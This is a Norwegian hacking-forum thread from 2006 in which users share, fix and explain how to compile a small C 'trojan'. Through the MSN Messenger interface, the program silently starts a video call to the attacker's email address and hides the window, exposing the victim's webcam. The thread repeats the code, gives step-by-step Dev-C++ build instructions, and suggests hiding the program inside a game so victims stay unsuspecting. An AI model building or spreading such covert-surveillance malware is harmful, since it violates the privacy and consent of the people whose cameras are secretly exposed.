Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  201 39333
Jeg har kopiert denne koden inn:

Kode

#include "windows.h"
#include "msgruaid.h"
#include "msgrua.h"
#include "oleauto.h"
int main(int argc, char *argv[])
{
IMessenger2 *pIMessenger = NULL;
IMessengerWindow *pIWindow = NULL;
IDispatch *pIDispatch = NULL;
VARIANT vName;
char *cName;
long lWindow;

CoInitialize(0);
CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); *

cName = "din e-mail";

BSTR pbstrName= SysAllocStringLen(NULL, lstrlenA(cName));
MultiByteToWideChar(CP_ACP, 0, cName, lstrlenA(cName), pbstrName, lstrlenA(cName));
SysFreeString(pbstrName);
* *
vName.vt = VT_BSTR;
vName.bstrVal *= (BSTR)pbstrName;
* *
pIMessenger->StartVideo(vName, &pIDispatch);
pIDispatch->QueryInterface(IID_IMessengerWindow, (void**)&pIWindow);
pIDispatch->Release();

// Get handle of window
pIWindow->get_HWND(&lWindow);
pIWindow->Release();
* * * * *
// Hide the window
ShowWindow((HWND)lWindow, SW_HIDE);

pIMessenger->Release();
CoUninitialize();
ExitProcess(0);
return 0;
}
Eneste forandring jeg har gjort gi cName en value med en gang den blir laget (trodde dette var eneste måte).
Også har jeg quotet alle *****'ene. (Hva gjør de i koden?)

Eneste feil jeg har nå er denne linjen:
vName.bstrVal *= (BSTR)pbstrName;
som gir meg denne erroren:
invalid operands of types `OLECHAR*' and `OLECHAR*' to binary `operator*' in evaluation of `operator*=(OLECHAR*, OLECHAR*)'

Også har jeg et spørsmål til skaperen: (eller andre som har testet)
Hva skjer om offeret går inn i kontaktlisten og åpner vinduet på nytt? (Vil han/hun se at webcam'et kjører da?)
Sist endret av TanteSpiker; 13. juli 2006 kl. 00:55.
Bob Sacamano
John B's Avatar
Sleng opp en kilde takk
Utdyp det der du sa takk..

Edit: Nå ser jeg at tuxeren leser.
Sist endret av TanteSpiker; 13. juli 2006 kl. 01:07.
Sitat av Grantax

Også har jeg et spørsmål til skaperen: (eller andre som har testet)
Hva skjer om offeret går inn i kontaktlisten og åpner vinduet på nytt? (Vil han/hun se at webcam'et kjører da?)
Vis hele sitatet...
Offret vill ikke greie å åpne det vinduet
Sist endret av Sambadelight; 13. juli 2006 kl. 01:58.
Bob Sacamano
John B's Avatar
Siden du tydeligvis har kopiert dette fra et sted ber jeg deg henvise oss til hvor du fant den av flere grunner. Blandt annet for å se koden i sin helhet, og også for å se eventuelt hvilken exploit denne koden benytter seg av. Rimelig meningsløst å bare kopiere en bit kode du har funnet et eller annet sted uten noen form for tillegsinformasjon.
Vel da må jeg lete, fordi historikk-vinduet i firefox sluttet sånn plutselig å fungere nå, for noe dritt..

Edit: Here you go, siste side: http://www.freakforum.nu/forum/showt...ight=windows.h
http://www.bloodshed.net/download.html

Der er en link til ett gratis kodeprogram som heter dev-c++, som tuxeren har brukt for å lage trojaneren. Når dere har lastet ned programmet så start det. (Ja faktisk)
trykk på arkiv -> nytt prosjekt.
Velg windows application, da kommer det opp hvor dere vil lagre programmet.
Pass på at alle filer kommer i samme mappe.
Når dere har gjort det så kommer det til å komme opp masse tekst til høyre i dev-c++
ta bort all tekst så at det er rent i ruten. Kopier deretter:

Kode:

#include "windows.h"
#include "msgruaid.h"
#include "msgrua.h"
#include "oleauto.h"
int main(int argc, char *argv[])
{
IMessenger2 *pIMessenger = NULL;
IMessengerWindow *pIWindow = NULL;
IDispatch *pIDispatch = NULL;
VARIANT vName;
char *cName;
long lWindow;

CoInitialize(0);
CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); *

cName = "din e-mail";

BSTR pbstrName= SysAllocStringLen(NULL, lstrlenA(cName));
MultiByteToWideChar(CP_ACP, 0, cName, lstrlenA(cName), pbstrName, lstrlenA(cName));
SysFreeString(pbstrName);
* *
vName.vt = VT_BSTR;
vName.bstrVal *= (BSTR)pbstrName;
* *
pIMessenger->StartVideo(vName, &pIDispatch);
pIDispatch->QueryInterface(IID_IMessengerWindow, (void**)&pIWindow);
pIDispatch->Release();

// Get handle of window
pIWindow->get_HWND(&lWindow);
pIWindow->Release();
* * * * *
// Hide the window
ShowWindow((HWND)lWindow, SW_HIDE);

pIMessenger->Release();
CoUninitialize();
ExitProcess(0);
return 0;
}


Når dere har kopiert inn teksten skal dere trykke på: prosjekt-> prosjekt alternativer. Da kommer det opp en rute der dere skal velge paramantere.

Trykk på knappen "legg till bibliotek" og bla dit du instalerte dev-c++ (C:/dev-cpp/) i den mappen finns det en mappe som heter lib,
gå inn i den og markere "libole32.a" og "liboleaut32.a" og trykk åpne.
Når dere har gjort det skal dere legge til enda en .lib fil som finnes på:

http://www.msghelp.net/attachment.php?pid=280776

Last ned filene og legg de i samme mappe som allt det andre
klikk på legg til bibliotek igjen og bla fram til mappen der du lagret alt og der ska filene ligge som du nettopp lastet ned. markere "msgrguid.lib" og trykk på legg till.

Nå skal dere legga til de andre to filene som fantes med i mappen dere lastet ned.
Til venstre i dev-c++ programmet så finnes det ett fil-tre, høyreklikk på den øverste mappen som *"main.cpp" ligger i og velg "legg til prosjekt" gå deretter til mappen der alt ligger og marker "msgrua.h" og "msgruid.h" og velg åpne.

Nå skal programmet være klart til å komplimeres. Trykk på komplimer (en knapp med fire ruter på) eller ctrl+f11. Lagre fila i samme mappe.
Nå skal fila være klar.

Om det blir noe feil kan det være fordi filene ikke er i samme mappe.

Om fila fungerer skal det finnes to rader med tekst der det står:
.drectv`-default:uuid.lib ' unrecognized
.drectv`-default:uuid.lib ' unrecognized
Vis hele sitatet...
Fra en annen tråd på forumet
Ja, den jeg linket til..
SHARKFACEGANG
mkey's Avatar
Altså, jeg også lurte på noe ang. dette. Hvorfor går det ikke ann å komplimere, det kommer bare rødt på der jeg skal skrive emailen min?

Har aldri gjort det før nei
Det er rødt fordi det er en string hvis det er det du mener.. (Fargekodet vet du)
SHARKFACEGANG
mkey's Avatar
Okei, men altså, ja. Veldig noob spørsmål nå;

Når jeg komplimerer filen, skal den ikke bli en exe.* fil da ? Eller hva? Har gjort akkurat det som står i guiden
Når du først velger nytt prosjekt for du opp en hel del alternativ, deriblant .exe fil.
Jeg får det bare ikke til, jeg tror jeg har gjort som det sto. Når jeg starter komplimeringen får jeg vite at det er feil i koden. Hva gjør jeg feil?
Trigonoceps occipita
vidarlo's Avatar
Donor
For all del: Kompilert, kompilering, kompilere, kompilator.
Komplimeringen
Hvis noen hjelper meg med den siste feilen så kan jeg gi dere koden jeg har..
Trodde tuxeren visste hva feilen innebar.
Sist endret av TanteSpiker; 13. juli 2006 kl. 13:01.
Hvordan fungerer programmet? Hvordan skal man gå frem for å bruke det liksom? Må offeret kjøre filen? Eller..?
ja offeret må kjøre filen for st dette skal gå.
Sånn som jeg har forstått, så sender du filen, så åpner offeret programmet, som jeg regner med at lukker seg rett etterpå det har gjort sin jobb.
Det skal altså sende en invitasjon til deg, og så skjule vinduet sånn at offeret ikke kan se hva som skjedde.
Hadde vært litt bedre om dette hadde blitt programmert inn i et annet program, sånn at offeret ikke blir mistensomt. (Et program som f.eks. et lite spill elns)

Min kode ser sånn ut:

Kode

#include "windows.h"
#include "msgruaid.h"
#include "msgrua.h"
#include "oleauto.h"
int main(int argc, char *argv[])
{
IMessenger2 *pIMessenger = NULL;
IMessengerWindow *pIWindow = NULL;
IDispatch *pIDispatch = NULL;
VARIANT vName;
char *cName;
long lWindow;

CoInitialize(0);
CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger);

cName = "*******@hotmail.com";

BSTR pbstrName= SysAllocStringLen(NULL, lstrlenA(cName));
MultiByteToWideChar(CP_ACP, 0, cName, lstrlenA(cName), pbstrName, lstrlenA(cName));
SysFreeString(pbstrName);
//* *
vName.vt = VT_BSTR;
vName.bstrVal = (BSTR)pbstrName;
//* *
pIMessenger->StartVideo(vName, &pIDispatch);
pIDispatch->QueryInterface(IID_IMessengerWindow, (void**)&pIWindow);
pIDispatch->Release();

// Get handle of window
pIWindow->get_HWND(&lWindow);
pIWindow->Release();
//* * * * *
// Hide the window
ShowWindow((HWND)lWindow, SW_HIDE);

pIMessenger->Release();
CoUninitialize();
ExitProcess(0);
return 0;
}
Jeg har fjernet gange operatoren her:
vName.bstrVal *= (BSTR)pbstrName;
Og da går det..
Men jeg kan ikke kjøre programmet, fordi da får jeg error. :P (Har det noe med at jeg har live messenger, eller fordi jeg har gjort noe feil i koden?)
Sist endret av TanteSpiker; 13. juli 2006 kl. 17:59.
Hva er error meldingen da? (som du får hvis du ikke fjerner vName.bstrVal *= (BSTR)pbstrName; ?
Det 'Send' eller 'Ikke Send' vinduet.. (Error Report)